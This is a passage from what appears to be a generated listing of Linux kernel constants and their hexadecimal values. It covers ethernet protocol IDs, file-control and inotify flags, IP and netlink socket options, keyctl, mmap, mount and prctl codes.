-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0xc
-- F_GETLK64 = 0xc
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0xd
-- F_SETLK64 = 0xd
-- F_SETLKW = 0xe
-- F_SETLKW64 = 0xe
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x10000
-- O_DIRECTORY = 0x4000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x20000
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x8000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x404000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80042407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40042406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
